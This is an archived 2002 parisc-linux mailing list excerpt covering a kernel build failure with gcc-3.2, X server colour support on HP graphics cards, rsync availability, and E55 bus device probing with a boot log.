	id 698B912FF6; Wed, 26 Jun 2002 14:06:46 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15225

--J+eNKFoVC4T1DV3f
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I'm still using rsync, but currently I constantly get the famous
connection reset by peer...

Is rsyncd reaped off /etc/inetd.conf again? Or did I miss something?
However, the last time I had a successful access was at june 19, 2002,
18:35:01 CEST (=3D 16:00:01 UTC).

When will rsync be available again?

MfG, JBG

--=20
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/

--J+eNKFoVC4T1DV3f
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9Ga5VHb1edYOZ4bsRAgQVAJ9cmCFo5BnVRM5Ntr2Y6YhwRug0VACdFim6
CmbHN+1GO61CZLmhnSWlFtA=
=t/vH
-----END PGP SIGNATURE-----

--J+eNKFoVC4T1DV3f--



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Wed, 26 Jun 2002 15:32:22 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <1025098342.3d19c266a0ff7@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621436 9366 80.91.229.3 (22 Nov 2014 01:57:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:16 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 07:32:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9780A4853
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 07:32:26 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NCuE-0000Tj-00; Wed, 26 Jun 2002 15:32:22 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15226

Hi all,

To try to investigate the network problem with compiling kernel with gcc-3.2 on
hppa, I cvs update gcc and binutils this morning. Then build toolchain and
finally make dep ; make vmlinux but it failled with following message:

make[1]: Entering directory
`/Develop/parisc-linux/src/linux-2.4.18-pa40/arch/parisc/kernel'
gcc -D__KERNEL__ -I/Develop/parisc-linux/src/linux-2.4.18-pa40/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=cache  -c -o cache.o cache.c
gcc -D__ASSEMBLY__ -traditional -D__KERNEL__
-I/Develop/parisc-linux/src/linux-2.4.18-pa40/include  -c -o pacache.o pacache.S
In file included from pacache.S:44:
/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/cache.h:9: 1/config.h:
No such file or directory
make[1]: *** [pacache.o] Error 1
make[1]: Leaving directory
`/Develop/parisc-linux/src/linux-2.4.18-pa40/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

?? "1/config.h"
    ??

Any idea?

Thanks in advance,
    Joel

PS1: the same sources (2.4.18-pa40) compile and run fine when compile natively
with gcc-3.0.4 (last hppa.dpkg).

PS2: glibc used to build toolchain was based on glibc_2.2.5-4 (+ patch)


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Wed, 26 Jun 2002 14:45:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020626144536.B28662@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be> <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk> <1025099026.3d19c51207773@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621436 9368 80.91.229.3 (22 Nov 2014 01:57:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:16 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 07:45:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92ED94857
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 07:45:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17ND72-0001pY-00; Wed, 26 Jun 2002 14:45:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1025099026.3d19c51207773@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jun 26, 2002 at 03:43:46PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15227

On Wed, Jun 26, 2002 at 03:43:46PM +0200, joel.soete@freebel.net wrote:
> Quoting Matthew Wilcox <willy@debian.org>:
> > it's probably less work to teach XFree86 how to talk to your gfx card
> > than it is to get the HPUX X server to run on Linux.
> 
> I would prefer also but is there any documentation about this interface?

i meant that it's probably less work to reverse-engineer the interface
and implement it in XFree86 than it is to get the HPUX X server working.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Wed, 26 Jun 2002 15:43:46 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <1025099026.3d19c51207773@webmail.tiscalinet.be>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be> <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621437 9371 80.91.229.3 (22 Nov 2014 01:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:17 +0000 (UTC)
Cc: joel.soete@freebel.net, Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 08:23:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE8924855
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 08:23:30 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17ND5G-0007TC-00; Wed, 26 Jun 2002 15:43:46 +0200
In-Reply-To: <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15228

Quoting Matthew Wilcox <willy@debian.org>:

> On Tue, Jun 18, 2002 at 11:05:59AM +0200, joel.soete@freebel.net wrote:
> > Quoting Matt Taggart <taggart@carmen.fc.hp.com>:
> > > The Color Recovery extension is only available in the HP-UX Xserver.
> No
> > > one 
> > > has been able to run the HP-UX Xserver on palinux yet.
> > > 
> > 
> > Any idea howto:
> > 1) install
> > 2) configure
> > 
> > I would try something to make my b2000 internel fxe running X.
> 
> it's probably less work to teach XFree86 how to talk to your gfx card
> than it is to get the HPUX X server to run on Linux.

I would prefer also but is there any documentation about this interface?

> 
> -- 
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Wed, 26 Jun 2002 08:25:16 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020626142516.87E52485B@dsl2.external.hp.com>
References: <1025098342.3d19c266a0ff7@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621437 9372 80.91.229.3 (22 Nov 2014 01:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 08:25:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 87E52485B; Wed, 26 Jun 2002 08:25:16 -0600 (MDT)
In-Reply-To: Message from joel.soete@freebel.net 
   of "Wed, 26 Jun 2002 15:32:22 +0200." <1025098342.3d19c266a0ff7@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15229

joel.soete@freebel.net wrote:
> In file included from pacache.S:44:
> /Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/cache.h:9: 1/config.h
>   :
> No such file or directory

The offending line is:
      8 #include <linux/config.h>

I'll assume "linux" being #define'd to 1.
gcc predefines perhaps?

grant



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Wed, 26 Jun 2002 12:21:24 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200206261621.g5QGLPH2012238@hiauly1.hia.nrc.ca>
References: <20020626142516.87E52485B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621437 9375 80.91.229.3 (22 Nov 2014 01:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:17 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 10:27:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7973A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 10:26:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5QGLRFN012239;
	Wed, 26 Jun 2002 12:21:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5QGLPH2012238;
	Wed, 26 Jun 2002 12:21:25 -0400 (EDT)
In-Reply-To: <20020626142516.87E52485B@dsl2.external.hp.com> from "Grant Grundler" at Jun 26, 2002 08:25:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15230

> joel.soete@freebel.net wrote:
> > In file included from pacache.S:44:
> > /Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/cache.h:9: 1/config.h
> >   :
> > No such file or directory
> 
> The offending line is:
>       8 #include <linux/config.h>
> 
> I'll assume "linux" being #define'd to 1.
> gcc predefines perhaps?

Yes, the predefine is standard and is present in gcc 3.0.4, etc.  You can
see macro defines using the "-dM -E" option.

However, the macro should not be expanded inside <> or "".  Joel, can you
file a PR <http://gcc.gnu.org/cgi-bin/gnatsweb.pl>?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Wed, 26 Jun 2002 23:51:54 +0200
Organization: private
Lines: 43
Approved: news@gmane.org
Message-ID: <3D1A377A.E0CFABBD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621438 9377 80.91.229.3 (22 Nov 2014 01:57:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:18 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 15:51:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id F38C5482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 15:51:57 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020626215155.OJVW1259.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 26 Jun 2002 23:51:55 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15231

Hello PARISC hackers !

I have problems in the device probing on the E55, and I need some
hints here. I am at the very starting point of the SCSI driver
development, and other (Rayn) will also need this for MUX (serial),
etc....

The E55 is a machine of the type "SYSTEM MAP TYPE".
I instrumented the code to read out the values and elements at the
inventory probing. I will append the log of my "debug helps", they
are quite self explaining.

The `walk_central_bus()' calls seems to do correct work. It finds the 
basic elements on my E55:

	On the "56" the bus converter
	On "62" and "63" components on the system (main) board
	- "62" is the CPU, "63" the Memory

	The search was started at the "60".

My problem now. The `walk_lower_bus()' under the device "56" cannot
find any further devices. Seen on PDC or HP-UX, under "56/52" the
SCSI controller is present, further the parallel interface and the 
serial MUX also should be found.

Do we use the wrong search address here, taken from io_io_low of
the `struct bc_module'. Do we access it in a wrong way ?
Is THIS structure documented in any of the PARISC documents, other-
wise, where does this structure come from ?

I hope you have some hints here ...

Best regards
Christoph P.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Wed, 26 Jun 2002 16:09:41 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020626220941.23903482C@dsl2.external.hp.com>
References: <3D1A377A.E0CFABBD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621438 9384 80.91.229.3 (22 Nov 2014 01:57:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:18 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 16:09:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 23903482C; Wed, 26 Jun 2002 16:09:41 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Wed, 26 Jun 2002 23:51:54 +0200." <3D1A377A.E0CFABBD@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15232

Christoph Plattner wrote:
> Do we use the wrong search address here, taken from io_io_low of
> the `struct bc_module'. Do we access it in a wrong way ?
> Is THIS structure documented in any of the PARISC documents, other-
> wise, where does this structure come from ?

Ryan Bradetich has a pretty good handle on how to walk bus converters.
I expect the bus converter register layout to be documented in
the PA IO ACD (Arch Control Document). Sorry - I don't have a URL
handy for the IO ACD.

grant



From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem find devices on the E55 I/O interfaces! -- here the log !
Date: Thu, 27 Jun 2002 00:12:00 +0200
Organization: private
Lines: 1227
Approved: news@gmane.org
Message-ID: <3D1A3C30.B4F5E67A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------3AC8D7198F72B65AB646159B"
X-Trace: ger.gmane.org 1416621438 9387 80.91.229.3 (22 Nov 2014 01:57:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:18 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 16:12:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE3A4482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 16:12:10 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020626221201.OOBX1259.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 27 Jun 2002 00:12:01 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15233

This is a multi-part message in MIME format.
--------------3AC8D7198F72B65AB646159B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sorry I forgot the boot log !

(kernel CVS version of the last day)

------------------------------------------------------------------------------
   PDC - Processor Dependent Code - Version   2.0
   (c) Copyright 1990-1993, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------
   64 MB of memory configured and tested.
   Primary boot path:    56/52.6   (dec)
   Alternate boot path:  56/52.0   (dec)

------- Main Menu
-------------------------------------------------------------

        Command                       Description
        -------                       -----------

        BOot [PRI|ALT|<path>]         Boot from specified path
        PAth [PRI|ALT] [<path>]       Display or modify a path
        SEArch [DIsplay|IPL] [<path>] Search for boot devices

        COnfiguration menu            Displays or sets boot values
        INformation menu              Displays hardware information
        SERvice menu                  Displays service commands

        DIsplay                       Redisplay the current menu
        HElp [<menu>|<command>]       Display help for menu or command
        RESET                         Restart the system
-------
Main Menu: Enter command or menu > bo 60/6.0
Interact with IPL (Y or N)?> n

Booting... 
Network Station Address 080009-96d4f6

Boot IO Dependent Code (IODC) revision 8


HARD Booted.
